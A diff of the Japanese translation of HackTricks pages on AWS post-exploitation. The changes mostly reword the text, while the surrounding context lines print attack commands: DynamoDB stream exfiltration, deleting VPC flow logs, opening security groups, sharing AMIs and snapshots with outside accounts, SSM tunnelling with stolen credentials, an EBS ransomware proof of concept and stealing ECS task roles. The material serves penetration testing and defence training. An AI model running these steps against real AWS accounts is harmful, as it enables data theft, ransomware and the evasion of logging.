+この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**ものではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。**
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -262,14 +262,14 @@ aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不能。
+**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不可能。
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
 > TODO: これが実際に機能するかテストする
 
-これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。
+これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。
 
 1. DynamoDBテーブルでストリームを有効にする:
 ```bash
@@ -292,12 +292,12 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します:
+4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します：
 ```bash
 bashCopy codeaws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。
+**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。 
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -1,4 +1,4 @@
-# AWS - EC2, EBS, SSM & VPC Post Exploitation
+# AWS - EC2, EBS, SSM & VPC ポストエクスプロイテーション
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@
 
 ### **悪意のあるVPCミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、受信および送信トラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム（IDS）などに送信され、分析および監視されます。\
+VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、インバウンドおよびアウトバウンドトラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム（IDS）などに送信され、分析および監視されます。\
 攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます：
 
 詳細については、このページを確認してください：
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
 
 ### 実行中のインスタンスのコピー
 
-インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります（[EC2特権昇格のトリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください）。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです（自分のアカウントであっても）**：
+インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります（[EC2特権昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください）。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです（自分のアカウントであっても）**：
 ```shell
 # List instances
 aws ec2 describe-images
@@ -56,7 +56,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
-### データ流出
+### データの流出
 
 #### DNS流出
 
@@ -64,7 +64,7 @@ EC2をロックダウンしてトラフィックが外に出られないよう
 
 - **VPCフローログはこれを記録しません**。
 - AWS DNSログへのアクセスはありません。
-- 次のコマンドで「enableDnsSupport」をfalseに設定することでこれを無効にします：
+- 次のコマンドで "enableDnsSupport" を false に設定することで無効にします：
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
@@ -79,13 +79,13 @@ EC2をロックダウンしてトラフィックが外に出られないよう
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-### Privesc to ECS
+### ECSへの権限昇格
 
-EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。
+EC2インスタンスを実行し、それをECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。
 
 For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### VPCフローログの削除
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
@@ -95,27 +95,27 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 
 - `ssm:StartSession`
 
-コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。これが有用なシナリオの一つは、[バスティオンホスト](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。
+コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。この機能が役立つシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。
 
 > セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
 1. マシンにSessionManagerPluginをインストールします
-2. 次のコマンドを使用してバスティオンEC2にログインします:
+2. 次のコマンドを使用してBastion EC2にログインします:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. [AWS EC2環境におけるSSRFの悪用](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)スクリプトを使用してBastion EC2 AWSの一時的な資格情報を取得します  
-4. 資格情報を自分のマシンの`$HOME/.aws/credentials`ファイルに`[bastion-ec2]`プロファイルとして転送します  
-5. Bastion EC2としてEKSにログインします:
+3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) スクリプトを使用して、Bastion EC2 AWS 一時資格情報を取得します
+4. 資格情報を `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして自分のマシンに転送します
+5. Bastion EC2 として EKS にログインします:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. `$HOME/.kube/config`ファイルの`server`フィールドを`https://localhost`に更新します  
+6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` にポイントするように更新します  
 7. 次のようにSSMトンネルを作成します:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. `kubectl`ツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベートEKSクラスターにアクセスできます:
+8. `kubectl` ツールからのトラフィックは、Bastion EC2 を介して SSM トンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
@@ -123,23 +123,23 @@ SSL接続は、`--insecure-skip-tls-verify`フラグ（またはK8s監査ツー
 
 最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットできます。
 
-### AMIを共有する
+### Share AMI
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### 公共およびプライベートAMI内の機密情報を検索する
+### 公共およびプライベート AMI での機密情報の検索
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovelは、**公共またはプライベートのAmazon Machine Images (AMIs)内の機密情報を検索するために設計されたツール**です。ターゲットAMIからインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公共またはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツール** です。ターゲット AMI からインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。
 
-### EBSスナップショットを共有する
+### EBS スナップショットの共有
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのがどれほど簡単であるかを考えると、Ransomware Management Service（RMS）に名前を変更すべきです。
+S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが非常に簡単であることから、Ransomware Management Service（RMS）に改名されるべきです。
 
-まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSが私のためにキーのデータを管理しますが、現実的なシナリオでは、悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。
+まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。
 ```
 {
 "Version": "2012-10-17",
@@ -239,13 +239,13 @@ S3のポストエクスプロイテーションノートで示されたランサ
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-公開アクセス可能なキーを使用できるようになりました。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットであり、この攻撃は高特権 AWS アカウントの侵害を前提としています。
+次に、公開アクセス可能なキーを使用します。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットです。この攻撃は、高特権の AWS アカウントが侵害されていると仮定しています。
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのスナップショットを使用してコピーを作成し、「攻撃者」アカウントから公開されているキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのコピーをスナップショットを使用して作成し、「攻撃者」アカウントからの公開利用可能なキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-これにより、アカウントに残るのは暗号化された EBS ボリュームのみとなります。
+これにより、アカウントに残るのは暗号化された EBS ボリュームのみになります。
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
@@ -324,15 +324,15 @@ S3 ランサムウェアの例と同様に、この攻撃はアタッチされ
 ]
 }
 ```
-少々お待ちください。新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームの 1 つをアタッチしようとします。ボリュームをアタッチできることがわかります。
+新しく設定されたキー ポリシーが伝播するのを少し待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。
+しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキーを使用して復号化できないため、キー ポリシーがもはやそれを許可しないからです。
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-これが使用される Python スクリプトです。これは「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
+これが使用される Python スクリプトです。これは、「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最終的にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
 ```
 import boto3
 import argparse

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md

@@ -32,7 +32,7 @@ make docker/build
 IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
 ```
 > [!CAUTION]
-> **注意** `dsnap` は公開スナップショットをダウンロードすることを許可しません。これを回避するために、スナップショットをあなたの個人アカウントにコピーし、それをダウンロードすることができます:
+> **注意** `dsnap` は公開スナップショットのダウンロードを許可しません。これを回避するには、スナップショットを自分のアカウントにコピーし、それをダウンロードできます：
 ```bash
 # Copy the snapshot
 aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
@@ -46,11 +46,11 @@ dsnap --region us-east-2 get snap-027da41be451109da
 # Delete the snapshot after downloading
 aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
 ```
-この技術の詳細については、[https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)の元の研究を確認してください。
+この技術に関する詳細は、元の研究を参照してください [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
 
-Pacuを使用して、モジュール[ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)でこれを行うことができます。
+この操作は、モジュール [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) を使用してPacuで実行できます。
 
-## AWSでスナップショットを確認する
+## AWSでのスナップショットの確認
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89
 ```
@@ -85,7 +85,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snaps
 
 ステップ8：コマンド`sudo mount /dev/xvdf /newvolume/`を使用して、ボリュームを「newvolume」ディレクトリにマウントします。
 
-ステップ9：「newvolume」ディレクトリに移動し、ディスクスペースを確認してボリュームマウントを検証します。
+ステップ9：「newvolume」ディレクトリにディレクトリを変更し、ボリュームマウントを検証するためにディスクスペースを確認します。
 
 このアクションを実行するには、次のコマンドを使用します：
 
@@ -94,7 +94,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snaps
 
 これをPacuを使用して、モジュール`ebs__explore_snapshots`で行うことができます。
 
-## AWSでスナップショットを確認する（cliを使用）
+## AWSでのスナップショットの確認（cliを使用）
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
 
@@ -120,13 +120,13 @@ sudo mount /dev/xvdh1 /mnt
 
 ls /mnt
 ```
-## Shadow Copy
+## シャドウコピー
 
-任意のAWSユーザーが**`EC2:CreateSnapshot`**権限を持っている場合、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために**NTDS.ditとSYSTEM**レジストリハイブファイルを**エクスポート**します。
+**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために、**NTDS.ditおよびSYSTEM** レジストリハイブファイルをエクスポートします。
 
-このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショットを作成した後に以前の技術の1つを使用することもできます。
+このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) または、スナップショットを作成した後に以前の技術の1つを使用することもできます。
 
-## References
+## 参考文献
 
 - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md

@@ -1,15 +1,15 @@
-# AWS - Malicious VPC Mirror
+# AWS - 悪意のある VPC ミラー
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**詳細については** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **を確認してください！**
 
-クラウド環境におけるパッシブネットワーク検査は**困難**であり、ネットワークトラフィックを監視するためには大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム（IDS）に送信されて**分析**されることができます。
+クラウド環境における受動的ネットワーク検査は**困難**であり、ネットワークトラフィックを監視するために大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム（IDS）に送信されて**分析**されることができます。
 
-VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに応えるために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。
+VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに対応するために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。
 
 悪意のあるVPCトラフィックミラーリングの**影響**は重大であり、攻撃者がVPC内で送信される**機密情報**にアクセスできるようになります。このような悪意のあるミラーリングの**可能性**は高く、VPC内を流れる**平文トラフィック**の存在を考慮すると、特にそうです。多くの企業は、**パフォーマンスの理由**から内部ネットワーク内で平文プロトコルを使用しており、従来の中間者攻撃が不可能であると仮定しています。
 
-詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化するため、攻撃的研究目的において**迅速、簡単、かつ繰り返し可能**です。
+詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化し、攻撃的研究目的のために**迅速、簡単、かつ繰り返し可能**にします。
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \
 --registry-id 653711331788 \
 --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-ダウンロードした画像は、**機密情報を確認する必要があります**：
+画像をダウンロードした後は、**機密情報を確認する**必要があります：
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
 
 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
 
-これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更し、次に** **ECRリポジトリ全体を削除する**ことができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。
+これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更**し、その後**ECRリポジトリ全体を削除**することができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。
 ```bash
 bashCopy code# Create a JSON file with the malicious lifecycle policy
 echo '{

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -12,33 +12,33 @@
 
 ### ホスト IAM ロール
 
-ECS では、**IAM ロールをコンテナ内で実行されているタスクに割り当てることができます**。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\
-つまり、ECS インスタンスを**侵害**することに成功すれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する可能性があります**。これらの資格情報を取得する方法についての詳細は、以下を確認してください：
+ECS では、**IAM ロールがコンテナ内で実行されているタスクに割り当てられる**ことがあります。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\
+つまり、ECS インスタンスを**侵害**することができれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する**可能性があります。これらの資格情報を取得する方法については、以下を確認してください：
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
 {{#endref}}
 
 > [!CAUTION]
-> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**は**ホップ制限が 1**となり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることが不可能になります。
+> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**には**ホップ制限が 1**があり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることは不可能になります。
 
-### ノードへの特権昇格と他のコンテナの資格情報および秘密の盗難
+### ノードへの特権昇格と他のコンテナの資格情報と秘密の盗難
 
 さらに、EC2 は ECs タスクを実行するために Docker を使用しているため、ノードにエスケープするか、**Docker ソケットにアクセス**できれば、**他のコンテナ**がどのように実行されているかを**確認**でき、さらには**それらの中に入って**、**付与された IAM ロールを盗む**ことができます。
 
 #### 現在のホストでコンテナを実行する
 
-さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することができ、その後 ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、彼は**それらの IAM ロールを盗む**ことができ、コンテナ内の潜在的な機密情報を取得することができます。
+さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することで、ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、**IAM ロールを盗む**ことや、コンテナ内の潜在的な機密情報を**盗む**ことができます。
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-同じ技術は**クラスターからEC2インスタンスを登録解除することによって**行うことができます。これは潜在的にあまり隠密ではありませんが、**タスクを他のインスタンスで実行させることを強制します:**
+同じ技術は**クラスターからEC2インスタンスを登録解除する**ことによって行うことができます。これは潜在的にあまりステルス性がありませんが、**タスクを他のインスタンスで実行させることを強制します:**
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
 ```
-タスクの再実行を強制するための最終的な技術は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります：
+タスクの再実行を強制するための最終的な手法は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります：
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
@@ -50,7 +50,7 @@ aws ecs submit-container-state-change ...
 # Needs: ecs:SubmitAttachmentStateChanges
 aws ecs submit-attachment-state-changes ...
 ```
-### ECRコンテナから機密情報を盗む
+### ECRコンテナからの機密情報の盗難
 
